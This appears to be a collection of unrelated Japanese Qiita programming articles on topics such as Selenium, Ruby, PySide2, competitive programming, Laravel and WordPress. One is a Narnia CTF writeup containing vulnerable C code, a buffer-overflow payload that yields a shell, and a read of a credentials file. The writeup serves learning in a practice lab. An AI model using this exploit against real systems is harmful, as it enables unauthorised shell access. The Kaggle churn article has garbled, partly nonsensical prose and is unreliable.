OmniAICreator/Qiita-1.07M huggingface dataset:
TFS AgentでSeleniumを動作させた時の画面解像度を変更したい

# やりたいこと
タイトルの通り。
参考サイトや失敗時の画面キャプチャを見る限り1024x768じゃないかと。
HeadlessモードをOFFにすればよいのですが、それはそれで検討するけど、別ルートでも解決策を模索するということで。

# 参考サイト
◆CLIから画面の解像度を変更する
　https://bitto.jp/posts/技術/Windows/change-resolution-by-cli/
◆Set-ScreenResolution
　https://gallery.technet.microsoft.com/scriptcenter/2a631d72-206d-4036-a3f2-2e150f297515
　　※このPowerShellをビルドタスクに組み込んでどうなるか試してみたい

◆Increase the screen resolution on Test Agent
　https://stackoverflow.com/questions/45829787/increase-the-screen-resolution-on-test-agent
　　※ここで紹介されている「RDPServiceRunCheck.ps1」や「Resolution.RDP.Remoting.exe」で何とかならないかなぁ...

◆How to change the VM default screen resolution?
　https://social.msdn.microsoft.com/Forums/azure/en-US/1c215514-aeef-41d9-b47b-5c838a0bf83f/how-to-change-the-vm-default-screen-resolution?forum=WAVirtualMachinesforWindows
◆VMware: Change the Screen Resolution on Windows 2008 Core (on VMware Server) 
　http://musumeci.blogspot.com/2007/07/vmware-change-screen-resolution-on.html
◆Windows Server 2012 default desktop size
　https://serverfault.com/questions/803453/windows-server-2012-default-desktop-size
　　※レジストリ操作で何とかなるか!?

◆Get maximum supported resolution of all attached monitors
　https://stackoverflow.com/questions/37998164/get-maximum-supported-resolution-of-all-attached-monitors
　　※WMIとwin32_desktopmonitorで色々調べる際に

◆020_画面 ( ディスプレイ ) の解像度の取得と変更
　http://mrxray.on.coocan.jp/Delphi/plSamples/020_DisplayResolution.htm#02
　　※DelphiだがC++等で実装する際に

◆RDP接続＋PsExec＋タスクの新レシピ（デモとして）
　https://www.atmarkit.co.jp/ait/articles/1407/14/news017.html
　　※「PCのコンソール画面から「リモートデスクトップ接続」クライアントを実行して、高解像度でローカルPCに接続するという方法」⇒考え方が参考になる！！
【自分用】チョコプラのコント"カレー屋"の「入っちゃってる」かどうかを確かめるプログラムと、それを作って学んだこと

### 元ネタ
https://youtu.be/aVYQC9oDz88?t=173
### コード
```Ruby
puts "長田「小辛は唐辛子マークでいうと何個分なの？」"
puts "松尾「"
mild_hot_min = gets
puts "から"
mild_hot_max = gets
puts "になります。」"
mild_hot_level = [*(mild_hot_min.to_i..mild_hot_max.to_i)]

puts "長田「じゃあ中辛は？」"
puts "松尾「"
normal_min = gets
puts "から"                                                   
normal_max = gets           
puts "になります。」"  
normal_hot_level = (normal_min.to_i..normal_max.to_i).to_a

haicchateru_yatsu = mild_hot_level & normal_hot_level
if haicchateru_yatsu.empty?
  puts "長田「・・・いや入っちゃってないんかい！」"
else
  puts "長田「いや#{(mild_hot_level & normal_hot_level).join('と')}が小辛にも中辛にも入っちゃってるじゃん。」"
  puts "松尾「・・・”入っちゃってる”というのは？(･｡･) ｷｮﾄﾝ…」"
end

```
### 書いて学んだこと
RangeオブジェクトをArrayオブジェクトに変換する方法は、何個かある

```Ruby
mild_hot_level = [*(mild_hot_min.to_i..mild_hot_max.to_i)]
```
とか

```Ruby
normal_hot_level = (normal_min.to_i..normal_max.to_i).to_a
```


配列同士の積集合(どっちにもある要素)を求めたいなら、＆でつなぐ

```Ruby
haicchateru_yatsu = mild_hot_level & normal_hot_level
```
他にも和集合や、もっと複雑なのも同じように求められます。
参考：https://qiita.com/namitop/items/be11c007da456ea95735
Macで.bash_profile永遠に読み込めない話

前提として今回やろうとしたことは、
「Macでpython3をデフォルトで使用したい」
ということ。
しかし途中で躓いた本件について共有していきたい。

「Macでpython3をデフォルトで使用したい」
が為に、シェルにログインする度に読み込むファイルに以下の内容を書き込んだ。
「俺がpythonって言ったらpython3だと思ってね？」

過去にもその対象ファイルとして.bash_profileに設定を追加してうまくいった経験が多々あった。
しかし今回はここで相当つまづいた。
正直わかんなくて3ヶ月放置した。笑

結論として分かったことは、
「そもそも俺のMacさんのシェルbash使ってない。。。」って話。
じゃあ何使ってたの？っていうとzshっていうシェルだった。
要は使ってるシェルがbashだと思って.bash_profileに色々書き込んでたけど、
使ってんのzshだから意味ねーよと。

zshの場合代わりにzprofileってのがあって、
そこに同じようなこと書き込んだら無事成功。

もしMacで（もちろんMacじゃなくてもbashで）こんなことで困ってたら参考にしてください。
それ本当にbashですか？って。
以下に自分がシェルを理解せず使ってたかわかりました。
勉強します。以上。
Automation Anywhere A2019 フロー/リストビューでの編集テクニック


# 概要
Automation Anywhere のBotの編集画面 (フロー/リストビュー)で使えるキーボードショートカットやマウス操作についてまとめてみました。

公式ドキュメントに書かれていることが違うところもあるので、実際にテストをして動いたもののみ記載しています。また、Windowsでの操作を想定しています。Macでの操作は @zamaezaaa さんの記事を参考にしてください。

# 全般/コマンド実行操作
アクションの選択状態、入力カーソルの場所によらず、常に有効なショートカット/操作です。

|キー操作|アクションの内容|
|:--|:--|
|`ESC`|アクションの詳細を非表示|
|`SPACE`|アクションの詳細の表示/非表示の切り替え|
|`Ctrl`+`A`|アクションの全選択|
|`Shift`+`R`|Botの実行(`F5`と同じ)|
|`Ctrl`+`R`|ページの再読み込み (ブラウザーショートカット)|
|`Ctrl`+`S`|Botの保存 (未保存のアクションがあるときのみ)|
|`Ctrl`+`Y`|編集のRedo|
|`Ctrl`+`Z`|編集のUndo|
|`F3`|ページ内検索 (ブラウザーショートカット)|
|`F5`|Botの実行 (`Shift`+`R`と同じ)|
|`Shift`+`F9`|ブレークポイント設定の切り替え|
|`F10`|デバッグモードの切り替え|
|`F11`|ブラウザー全画面モード切替 (ブラウザーショートカット)|

# アクション選択時の操作
フロービューまたはリストビュー上のアクションが選択されているときに有効な操作です。

|キー操作|アクションの内容|
|:--|:--|
|カーソルキー|矢印方向のアクションに選択を移動|
|`Ctrl`+`C`|選択したアクションのコピー[^1]|
|`Ctrl`+`V`|選択したアクションの次の位置にアクションを貼り付け[^1]|
|`Ctrl`+`X`|選択したアクションの切り取り[^1]|
|`Ctrl`+`/`|選択したアクションの有効/無効の切り替え|
|`DEL`|選択したアクションを削除|

# マウス操作との組み合わせ

|キー・マウス操作|アクションの内容|
|:--|:--|
|マウス左クリックでアクション選択|アクションを単独で選択|
|`Ctrl`+マウス左クリックでアクション選択|既存の選択済みアクションにクリックしたアクションを複数選択|
|`Shift`+マウス左クリックでアクション選択|既存の選択済みアクションからクリックしたアクションまでの間のすべてのアクションを複数選択|

※ アクションを複数選択すると、マルチセレクションパネルが表示され、専用のメニューが表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/479715/ca652540-ecb2-2da2-173f-69f26ce7a56d.png)
左から「ブレークポイントを有効化」「ブレークポイントを無効化」「すべてのアクションを有効化」「すべてのアクションを無効化」「すべてのアクションをコピー」「すべてのアクションを切り取り」「すべてのアクションを削除」ボタン。

※ マウス右クリックはブラウザーの一般的なコンテキストメニューが表示され、Automation Anywhere特有のメニューは表示されません。

# アクションの詳細のフィールドでの操作

|キー操作|アクションの内容|
|:--|:--|
|`F2`|変数選択ダイアログボックスの表示|
|`TAB`|選択するフィールドを次に移動|
|`Shift`+`TAB`|選択するフィールドを前に移動|
|`Ctrl`+`Enter`|現在の入力を確定、適用してアクションの詳細を閉じる|
|`Ctrl`+`C`|フィールド選択内容のコピー|
|`Ctrl`+`V`|フィールドのカーソル位置への貼り付け|
|`Ctrl`+`X`|フィールド選択内容の切り取り|
|`Ctrl`+`Y`|フィールド内容の編集のRedo|
|`Ctrl`+`Z`|フィールド内容の編集のUndo|

[^1]: フロー/リストビュー内でのカット/コピー/貼り付けの操作は、同じBot内のみで有効です。別のブラウザーウィンドウで別のBotのフロー/リストビューを開いていも、そちらに内容は引き継がれません。

# デバッグ実行モード特有の操作
デバッグモードでBotを実行しているときに使える操作です。

|キー操作|アクションの内容|
|:--|:--|
|`F5`|実行/再開|
|`F6`|次にステップイン|
|`F7`|停止|
|`F10`|デバッグモードの終了|

# 参考資料

* [キーボードショートカット](https://docs.automationanywhere.com/bundle/enterprise-v2019/page/enterprise-cloud/topics/aae-client/bot-creator/using-the-workbench/cloud-keyboard-shortcuts.html?_LANG=jpjp) - 製品ドキュメント
* [Automation Anywhere A2019 ショートカットキー まとめ](https://qiita.com/zamaezaaa/items/76f842b001ca67290b94) by @zamaezaaa さん
QWidgetのサブクラスの背景色が設定できない

# QWidgetのサブクラスの背景色が設定できない

表題通り。解決済み。解決策は記事の下部にある。

QWidgetのサブクラスから作成したWidgetの背景色を設定出来なかった。
だが継承元のQWidget()で同じように試したところ、何故かうまくいった。

なんなのだこれは！

とおもって調べたので一通りまとめておく。

## 再現コード

```python
# coding: utf-8

from PySide2 import QtWidgets, QtGui, QtCore


class Widget(QtWidgets.QWidget):
    def __init__(self):
        super(Widget, self).__init__()
        self.setStyleSheet("background-color:red")

        layout = QtWidgets.QVBoxLayout()

        button_widget = QtWidgets.QPushButton()
        button_widget.setText("Inherited widget")

        layout.addWidget(button_widget)

        self.setLayout(layout)


def generate_widget():
    parent_widget = QtWidgets.QWidget()
    parent_widget.setStyleSheet("background-color:red;")

    layout = QtWidgets.QVBoxLayout()

    button_widget = QtWidgets.QPushButton()
    button_widget.setText("QWidget")

    layout.addWidget(button_widget)

    parent_widget.setLayout(layout)

    return parent_widget


class Window(QtWidgets.QWidget):
    def __init__(self):
        super().__init__()

        hbox = QtWidgets.QHBoxLayout()

        widget = Widget()
        widget2 = generate_widget()

        hbox.addWidget(widget)
        hbox.addWidget(widget2)

        self.setLayout(hbox)


def main():
    app = QtWidgets.QApplication()

    window = Window()
    window.show()

    exit(app.exec_())


if __name__ == "__main__":
    main()

```

![qWidget_bgcolor_test_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294868/1919b586-1de1-8935-03bd-e18c98998498.png)

こんな感じでボタンの背景にしか背景色が効いてない。

## ナンデ？

[Qt Style Sheets Reference](https://doc.qt.io/qtforpython/overviews/stylesheet-reference.html)にはこう書いてある。(超意訳)

> ### QWidget
> background, background-clip, およびbackground-originのみサポートします。
> 
> **QWidgetからサブクラス化する場合、以下のようにpaintEventを提供する必要があります。**

> ```python
def paintEvent(self, event):
    opt = QtWidgets.QStyleOption()
    opt.init(self)
    painter = QtGui.QPainter(self)
    style = self.style()
    style.drawPrimitive(QtWidgets.QStyle.PE_Widget, opt, painter, self)
```

ということで、上記コードをサブクラスに挟めば解消する。
やったね！

![qWidget_bgcolor_test_02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294868/05de106f-8322-b4d3-c8aa-c4794ce7a75c.png)
Pythonの配列と辞書型に関する標準ライブラリ利用tips

Pythonの言語学習の過程で、標準ライブラリの範疇で実施できるコーディングtipsをメモ。
実務ではNumPyやCounterなどの便利なライブラリで一撃かもしれないため、かなり基礎的かつ遠回りな書き方になると思われます。

### リストの値の出現回数をカウントする

2020.03.15
forで回す際にわざわざrangeの範囲指定をしていたのを修正
`for i in range(0, len(origin_list)):` 

```python
origin_list = [1, 2, 3, 4, 5, 1, 2, 3, 4, 1, 2, 3, 1, 2, 1]
counter_dict = dict.fromkeys(list(set(origin_list)), 0)
for value in origin_list:
    counter_dict[value] += 1

# 結果
# {1: 5, 2: 4, 3: 3, 4: 2, 5: 1}
```

結果を格納するディクショナリの初期化を行います。
元リストの値をkeyにするあたり一度ユニークな値だけに絞ります。
ここでは一度ディクショナリに格納することで重複を取り除き再度リスト化しています。

```python
list(set(origin_list))
```

作成したディクショナリのvalueを初期化するためにdict.fromkeysを使って一括初期値設定します。

```python
counter_dict = dict.fromkeys(リスト, 初期値)
```

あとは元リストをカウントアップするだけ。

```python
for value in origin_list:
    counter_dict[value] += 1
```
パナソニックプログラミングコンテスト2020 A-C解法覚書

不甲斐ない成績だったため自分なりにまとめる．

Aはリストに落とし込んで表示するだけなので省略．
配列を初期化する際にコピペするのが一番楽ですね．

[B Bishop](https://atcoder.jp/contests/panasonic2020/tasks/panasonic2020_b)
1以上の縦幅H・横幅Wを持つ将棋盤の上で，左上隅に置かれた角行が移動可能なマスの総数を求める問題．
要はマスの総数を2で割って切り上げればよいので，切り上げ公式として有名な(a+b-1)/bでAC...**と思ったら間違いで，
実はH=1 or W=1の場合，角行は全く動けない．よってこのときに限り答えは1．**
制約の最大値ではなく，最小値がコーナーケースになっているパターン．
公式pdfにもある通り，**制約の最大値だけではなく最小値にも気を付ける必要がある．**

[C Sqrt Inequality](https://atcoder.jp/contests/panasonic2020/tasks/panasonic2020_c)
入力a,b,cについて，√a+√b<√cであるかどうかを判定する問題．
表面上実装するだけなら秒で終わる．**問題は数値誤差．**
√を取ると小数が出てくるが，計算機上これには誤差を含む(計算機上では数値が2進数で表現されていることが原因)．

**これを回避する方法は以下の2つ．**
１．精密に表現できる型を使った上で，ごく小さい値(イプシロン)を利用して誤差を考慮した判定をする
２．式変形により√が出現しない形に同値変形する

１．については，C++であればlong double型，pythonであればdecimalが当てはまる．特に**pythonのdecimal**であればイプシロンを使う必要もないので楽．**知識面．**
追記:c++のlong double型の場合、sqrtlという関数があります。cmathでもいいらしいけど自分で検証はしてないです。

２．については，公式pdfにもある通り，
**√a+√b<√c⇔4ab<(c-a-b)^2 where c-a-b>0**
が示せる．ここで，
**c-a-b>0**
**が条件に入らなければならない．**高校数学の範囲なのに本番中に忘れてた大学生が私です．

数値解析などをする際，こういった数値誤差は馬鹿にならなかったりします．経験上知っていたはずなのに実装までできなかったのは非常に悔しい．
供養供養．

以下，decimalを用いた解答例．

```AC.py
from decimal import Decimal

a,b,c = map(str,input().split()) # Decimalを使う場合，文字列で渡す
a_sq = Decimal(a).sqrt()
b_sq = Decimal(b).sqrt()
c_sq = Decimal(c).sqrt()

if a_sq + b_sq < c_sq:
  print("Yes")
else:
  print("No")

```
Kaggle challenge Telecom Customer Churn Prediction

#kaggle challenge　解約率を下げよう
　法人のビジネスにとって解約率を下げることは極めて重要である。お客様都合で解約されるよりも競合解約されることの方がコントロールがしやすい。なぜなら、努力が効くからだ。
　では実際に解約率がだから高まってしまうのか考えてみよう。
もう一つ考えなければいけないことが解約の理由だろう。ビートゥービーのビジネスにおいても、個人の役割は重要である。
ディシジョンメーキングユニットをしっかりと考えないと全体像見誤る。放置的に考えなければいけない点だ。それから顧客の事だけを見ていてはいけない。社内のことも考える必要は営業の色だ営業の色が落ちている場合それにはお客様との関係が良くなって良くないことがある。なぜ営業が苦しんでいるのかそのその本質をデータからつまびらかにしたい。
　顧客満足度と同時に従業員満足度を考えなければならない。そしてその顧客とは誰なのかを考えなければいけないところにビジネスビジネスの難しさがある。目の前のお客様だけ見たしてもうまくいかないのだ。
　営業活動において3つの視点が必要だ。顧客の視点、自社の視点、競合の視点だ。このバランスによって日ごろの、勝敗は決まっている。だからここをしっかりと考えることが必要になるのだ。
　では機械学習のステップについて考えてみたいと思う。
まず目標と履修を設定することが必要だ。次にデータ取得と探索をすることが必要だ。次にモデル化だ。その次に解釈しプレゼンテーションを行う必要がある。最後にデータを準備し実装し補修する必要がある。
まず1番目にプロジェクトの目標定義する必要がある。ビジネスが抱える課題を特定する。ドメイン知識を取得しリスクと成功基準を考察する。その後プロジェクトの継続の可否を判断しよう。その次にデータを取得して探索する。適切なデータの探索を行い予測ターゲットの定義をしましょう。探索的データの解析とリーケージを見つけて良くすることが必要です。フィーチャーエンジニアリングが必須です。データをモデル化し特徴量を選択モデルを構築した後モデルの検証と洗濯をしましょう。解釈して伝達します。モデルの選択をし、モデルを比較しインサイトの伝達をするのです。データの準備と予測実装星が必要です。データの準備バッチAPIを使った予測の実装予測結果の関連データのモニタリングもします。
　実際にkaggle challengeで行ってみましょう。
gitで実行ファイルを無視する

# Rustの勉強したコードをgitにあげようとして、、、
rustはc++のようにコンパイルして、実行ファイルを作成する。

その際、拡張子のない実行ファイルが作られる。これは実行ファイルであり、そのマシンでしか動かないものであるから、githubに上げるのはふさわしくない。

windowsでは`*.exe`のようにexe拡張子の実行ファイルが作られる。しかし、macosでは拡張子のない実行ファイルが作られる。

これでは`.gitignore`ファイルに`*.exe`のように書き込んでgitに挙げない無視するファイルを作成するということができない。


# 解決策
いささか無理やりだが、拡張子がないファイルを無視するのではなく、
`拡張子のないファイル = すべてのファイルとディレクトリ-すべてのディレクトリ-すべての拡張子のついたファイル`で記述する。

また、この際上から評価されるため、先頭に記述すること。

```'.gitignore'
*
!*/
!*.*
[その他無視したいファイル]
```

# gitにあげてしまったものを削除する
すでに実行ファイルがgitに上がってしまったのを削除したい。

`--cached`がないと、ローカルファイルも削除されるので注意。

```
$ git rm --cached *
```

# git rmで削除してしまったとき
私は上記rmの際、誤ってローカルも削除してしまったので、以下のコマンドでもとに戻した。

`git reset HEAD [削除したファイルパス]`
`git checkout HEAD [削除したファイルパス]`

```
git reset HEAD .
git checkout HEAD .
```



# 参考文献
https://fhiyo.github.io/2017/10/07/git-ignore-all-extension-less-files.html

https://qiita.com/shungok/items/82a06b1c4c93922a8622

https://qiita.com/ytkt/items/a2afd6be8e4f06c1ea25
Codeforces Round #627 Div.3 D. Pair of Topics 並び替え後の二分探索

https://codeforces.com/contest/1324/problem/D

# 概要
- n個の正の整数を含む配列a,bが与えられる。
- あるiとjをとり、$a_{i}+a_{j} > b_{i} + b{j}$であるものの数を求めよ

# 考えたこと
$a_{i}+a_{j} > b_{i} + b{j}$ は $a_{i}-b_{i} > b_{j} - a_{j}$と言い換えられる。ここで、新しい配列cを、要素iを$a_{i} - b_{i}$としてみる。そして、ソートする。

```
a = 4, 8, 2, 6, 2
b = 4, 5, 4, 1, 3
c = 0, 3,-2, 5,-1
⇒ソート
c = -2, -1, 0, 3, 5
これだと、以下解説が難しいので、例えば、
c = -20, -10, -2, 0, 5, 11
になったと以下は考える
```

この時、cは昇順に並んでいるので、大きいほうから以下のように考える。

- $c_{i}$として11を選んだとすると、$-20$よりも右側の数字はすべて候補になりうる。つまり、4個。(11自身は候補にならない)
- $c_{i}$として5を選んだとすると、$-10$よりも右側の数字はすべて候補。つまり3つ。
- $c_{i}$として0よりも右の数を選んだ場合、これ以上進んでもマイナスになるだけなので打ち切る

実装上は$n=2 \cdot 10^{5}$なので、二分探索で求める。つまり、

- $c_{i}$を選んだ時$ - c_{i}$よりも大きなindexを求める

# コード

```Python
from pprint import pprint
n = int(input())
data = list(map(int, input().split()))
datb = list(map(int, input().split()))
datc = [data[x] - datb[x] for x in range(n)]
datc.sort()
import bisect
res = 0
for i in range(n-1, -1, -1):
    x = datc[i]
    if x <= 0:
        break
    c = bisect.bisect_right(datc, -x)
    res += i-c
print(res)
```
https://codeforces.com/contest/1324/submission/73047446
OCJP Silver SE 8 取得についての備忘録

初投稿です。文才も0なので、備忘録として書きます。
最後までお付き合いいただけたらありがたいです。

本日（3/14）にOracle Certified Java Programmer Silver SE 8を取得したので
記録させていただきます。

# 結果

![F70B3E01-4B03-4D07-9F5A-0996F265EE57.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/583781/5b91a5b3-2e1e-3ce1-6065-3dca5726e4af.jpeg)


　正解率　77% 
　無事合格で安心しました。
　Oracleのキャンペーンで2回目までは再受験可能でありましたが、
　再勉強は面倒臭すぎるので、1回目で受かり安心しました。

# 自身のスキルについて
　・9年前に専門学校でJavaの授業があり、軽くJavaに触れた経験あり。
　・新卒時に2ヶ月のみ実装経験を研修のみであり。
　　（JSP、Servlet、Javaの基本の座学など）

　以降は6年くらい、.NETの仕事ばかり。Javaの実務経験、触れた記憶はなし。

　2年くらい前からJava案件もやりたいと内心思っていたが、全く動かず、
　半年前にJavaについて真剣に考えるようになり、まずは資格取得を決意。

# 勉強アーカイブ
勉強期間：2019年10月 - 2020年3月
総勉強時間：50時間ほど（多く見積もって）

１. 2019年10月中旬から11月上旬まで以下を読む
　①「スッキリわかるJava入門 第2版 (スッキリシリーズ)」
 　→　何となくダラダラ暇つぶし程度の読み方でした。

２. 2019年11月中旬から下旬まで以下を解く
　②「徹底攻略Java SE 11 Silver問題集[1Z0-815]対応」（黒本）
　　→　最初はSE11で受けようと思い、解き始めました。

      正答率
       1章　2/8
       2章　8/22
       3章　12/21
       4章　7/17
       5章　2/10
       6章　13/30
       7章　6/21
       8章　2/8
       9章　6/19
       10章　7/17
       11章　1/7
      模擬問題
       12章　30/80
       13章　27/80


　この正答率でやる気がなくなり、12月は勉強を止めました。
　SE11特有の内容が多すぎて、Java入門の内容と違いすぎて、冷めました。

３. 2019年12月から2月末まで
　【2019年12月下旬 - 2020年1月中旬まで】
　　前社の後輩が一年前にJavaSilverSE8を取得しているのを思いだして、
　　連絡したところ問題集は家にあるということで以下を借りました。

　　③「オラクル認定資格教科書 Javaプログラマ Silver SE 8」（紫本）
　　→　一番有名なやつですね。各章ごとに勉強できるようになっており、かなり
　　　わかりやすかったです。末尾に数問、問題もあります。
　　　模擬問題も１つあります。

      正答率
       1章　2/5
       2章　5/10
       3章　9/18
       4章　10/15
       5章　4/18
       6章　8/25
       7章　4/12
       8章　6/15
       模擬問題 34/77


　【2019年2月】（あまり勉強せず）
　　またここが重要であったかもしれませんが、
　　**紫本で間違えた問題をEclipse（数年ぶりに使用）で入力し、
　　コンパイルエラーを確認し、GitHubに上げて、勉強しました。
　　EclipseもGitHubもプライベートPCでは初使用という情けなさでした。**

４. 2019年3月1日から14日まで
　　・1日　
　　　以下を購入
　　　④「徹底攻略 Java SE 8 Silver 問題集[1Z0-808]対応」（黒本）
　　　　SE11の黒本を再度解き直したところ、やはりSE11特有の内容についていけず、
　　　　受験は紫本で勉強したSE8で受けようと決意。メルカリでSE8の黒本を買い直し、
　　　　受験申し込みを14日に設定し、申し込み。

　　・3日から7日まで
　　　　SE8の黒本が届いたので速攻解き直し

      正答率
       1章　6/9
       2章　2/12
       3章　17/22
       4章　3/11
       5章　12/17
       6章　12/22
       7章　8/17
       8章　9/22
       9章　17/38
      模擬問題
       10章　40/77
       11章　45/77

SE8に変えた瞬間、正解率が爆ハネしました。

　　・8日から13日まで
　　　【仕事の合間と家での時間を全て勉強することを決意】
     　　　・各単元をもう一度全て読み込み。
　　　・模擬問題２つと紫本の模擬問題１つを何度も解き直し。
　　　・合格記録のサイトを見て、モチベーションを高める。

　ここで本気で取り組みました。業務もまあまあ忙しく、しんどかったのですが、
　合格をイメトレし、モチベーションを高めました。

当日も朝早く起きて、再度模擬問題を解き直し。

      模擬問題
       10章　72/77
       11章　73/77

これで合格を確信しました！

# 最後に

僕のような出来も悪く、サボり癖もある人間でも取れたので、Javaの経験者はノー勉でも、
未経験の方でもやる気ある人なら、半月から１ヶ月あれば余裕だと思います。
12月に転職し、PC買って、別の勉強や並行しながらなので、5ヶ月もかかりました、、、
何かの参考になればと思います。

ありがとうございました！
【OverTheWire】Narnia Level 0 → Level 1 Writeup

バイナリエクスプロイトの勉強として [OverTheWire](https://overthewire.org/wargames/) の [Narnia](https://overthewire.org/wargames/narnia/) を解いてみたのでBuffer Overflowの勉強として1問目のWriteupを書いておきます。

※以前まではすべてのレベルのWriteupを書くことを目標としていましたが、常設CTFのWriteupはネタバレにもなるのであまり書かないほうが良いのではないかといった判断のもと、Level 0→Level 1のみに変更させていただいております。ご了承ください。

# Narnia とは?
バイナリエクスプロイトを CTF 形式で解きながら勉強できる [OverTheWire]((https://overthewire.org/wargames/)) というサイトの中でも、特に初歩的な問題を扱っているコンテンツです。
自分は[策謀本](https://www.amazon.co.jp/Hacking-%E7%BE%8E%E3%81%97%E3%81%8D%E7%AD%96%E8%AC%80-%E2%80%95%E8%84%86%E5%BC%B1%E6%80%A7%E6%94%BB%E6%92%83%E3%81%AE%E7%90%86%E8%AB%96%E3%81%A8%E5%AE%9F%E9%9A%9B-Jon-Erickson/dp/4873115140)は読みましたが CTF でも pwn はあまり触れてないのでバイナリエクスプロイトに関しては初心者です。

間違いや説明の足りない点などがあれば、ご指摘をお願い致します。

それではやっていきましょう！

# Level 0 → Level 1
まずはターミナルから[Narnia](https://overthewire.org/wargames/narnia/)の最初のページをみてSSHで接続し、`narnia0`を実行してみる。

```
kali@kali:~$ ssh narnia0@narnia.labs.overthewire.org -p 2226
$ cd /narnia
$ ./narnia0
Correct val's value from 0x41414141 → 0xdeadbeef
Here is your chance: ABCD
buf: ABCD
val: 0x41414141
WAY OFF!!!!
```

ソースコードを確認。

```C
/* (前略) */
#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];
    
    printf("Correct val's value from 0x41414141 → 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s", &buf);

    printf("buf: %s\n", buf);
    printf("val: 0x%08x\n", val);
    
    if(val==0xdeadbeef){
        setreuid(geteuid(), geteuid());
        system("/bin/sh"); 
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }
}
```

実行結果とソースコードによれば`buf`から`val`にバッファオーバーフローさせて`0xdeadbeef`を格納したあとにsystem関数によって`/bin/sh`が起動されればよいことがわかります。

対象のファイルを標準出力へ書き出すコマンドである`cat`を利用します。

```
$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | ./narnia0
Correct val's value from 0x41414141 → 0xdeadbeef
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA☒
val: 0xdeadbeef
```

これでシェルがとれたので確認。(実際の画面は`$`は表示されてませんがわかりやすさのため、ここでは表記してます。)

```
$ whoami
narnia1
```
パスワード表示でクリア。

```
$ cat /etc/narnia_pass/narnia1
e*********　(ここにパスワード表示)
```
Laravel7にアップグレードすると、artisanコマンドが死ぬ

Laravel7がでましたね！早速人柱的に上げてみましたところ、案の定動かなくなりました。
Laravel6からLaravel7へアップグレードすると、artisanコマンドが謎のステータスコード255を吐いて死にます。
これはcomposer updateしたときに

```
Script @php artisan package:discover handling the post-autoload-dump event returned with error code 255
```

なエラーとなって表れてきます。
ググってもやれcacheを消せだの出てきますが、**全く効果がありません！！**
この時には、

```
php artisan --version
```

と叩いてもコンソールに何も出てこなくて、

```
echo $?
255
```

っとでるので、artisanコマンド自体が死んでいることが分かります。
これ、とてもとても地味にハマって数時間悩んだのですが、
[アップグレードガイドのSymfony 5 Related Upgrades](https://laravel.com/docs/7.x/upgrade#symfony-5-related-upgrades)
が該当します。（といってもさらっと流しただけだと気づかないんですが）
修正方法は[これ](https://github.com/akira345/laravel_rss_reader/commit/f605b2da2a6eefe8494cff5c88569647d6e44ef5#diff-646a4842abf9023c975a9a1658a68b0a
)です。

``` app/Exceptions/Handler.php ``` が今回修正対象となっていまして、 最初にこれを上記のように修正しないと**artisanコマンドが動作しません。**
なおこれは、

```
composer update --vvv
```

として詳細ログをみても、php.iniのエラーレベルをE_ALLにしても何も出てきません。artisanコマンド中のkernel->handler()で音もなく死にます・・・

----

余談ですが、Laravel7にすると、npmみたいに```php artisan test``` でテストが実行できます。

```
./vender/bin/phpunit
```

とかしなくてもいいです。
見やすく整形されていい感じですよ。

```
root@03791d802551:/var/www/web# php artisan test

   PASS  Unit\ExampleTest
  ✓ basic test

   PASS  Feature\CommandTest
  ✓ コマンド実行

   PASS  Feature\ExampleTest
  ✓ basic test

   PASS  Feature\HomeTest
  ✓ 一覧表示

   PASS  Feature\LogInOutTest
  ✓ ログイン失敗
  ✓ ログイン成功
  ✓ ログアウト
  ✓ ログインしていないのにログアウト
  ✓ ログイン試行ブロック
  ✓ ログイン履歴
  ✓ パスワードリセット
  ✓ リセット失敗
  ✓ パスワードリセット可能か

   PASS  Feature\RssCategolyListTest
  ✓ r s sカテゴリ登録
  ✓ r s sカテゴリ編集
  ✓ r s sカテゴリ削除
  ✓ r s sカテゴリ二重登録

   PASS  Feature\RssListTest
  ✓ r s s登録
  ✓ r s s編集
  ✓ r s s削除
  ✓ r s s二重登録
  ✓ r s s編集その２

   PASS  Feature\UserTest
  ✓ ユーザ登録
  ✓ ユーザ登録パスワード短い
  ✓ ユーザ登録パスワード間違い
  ✓ ユーザ情報修正
  ✓ ユーザ削除
  ✓ ユーザ削除キャンセル

  Tests:  28 passed
  Time:   15.90s
```
Wordpress5 カスタムフィールの作成とテンプレートでの表示方法

## Wordpress5のカスタムフィールドの作り方
Wordpress5からカスタムフィールドは右上の設定アイコンから表示できるようになった。チェックを入れ、「有効化してリロード」ボタンを押せば表示されるようになる。

<img width="616" alt="custom-field-1.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/549249/47341060-591c-5549-910d-23b0365dbcd9.png">


カスタムフィールドは投稿画面の下で作成する。フィールド名を記入し、値を入れるだけでOK。

<img width="710" alt="custom-field-2.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/549249/a6937720-283c-2891-9e79-68a99b2d16c6.png">


次からは選択フォームに以前作成したカスタムフィールドが表示されるので、それを選択する。


## カスタムフィールドの値を表示する方法
一覧ページや記事ページの表示したい場所にコードを追加するだけ。

```php
echo get_post_meta($post->ID, 'key', true);
```

テンプレートに追記する場合はこんな感じ。

```html
<div class="entry-meta">
  <ul class="nav">
    <li>投稿日: <?php echo get_the_date('Y-m-d'); ?></li>
    <li>サイズ: <?php echo get_post_meta($post->ID, 'size', true); ?></li>
  </ul>
</div><!-- .entry-meta -->
```

## １つのカスタムフィールドで複数の値を入力した場合の表示方法
１つのカスタムフィールド名（キー）に対して複数の値を入れる場合は、必要な分だけキーを追加して１つづつ値を入れていく。

<img width="703" alt="custom-field-3.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/549249/9ef49c6c-b13d-a935-4e08-1738c03e55c4.png">


値の表示方法は配列の表示と同じ。

```html
<?php
$colors = get_post_meta($post->ID, 'color', false);
if( count( $colors ) != 0 ) { ?>

<ul>
  <?php foreach($colors as $color) {
    echo '<li>'.$color.'</li>';
  }
  ?>
</ul>

<?php } ?>
```
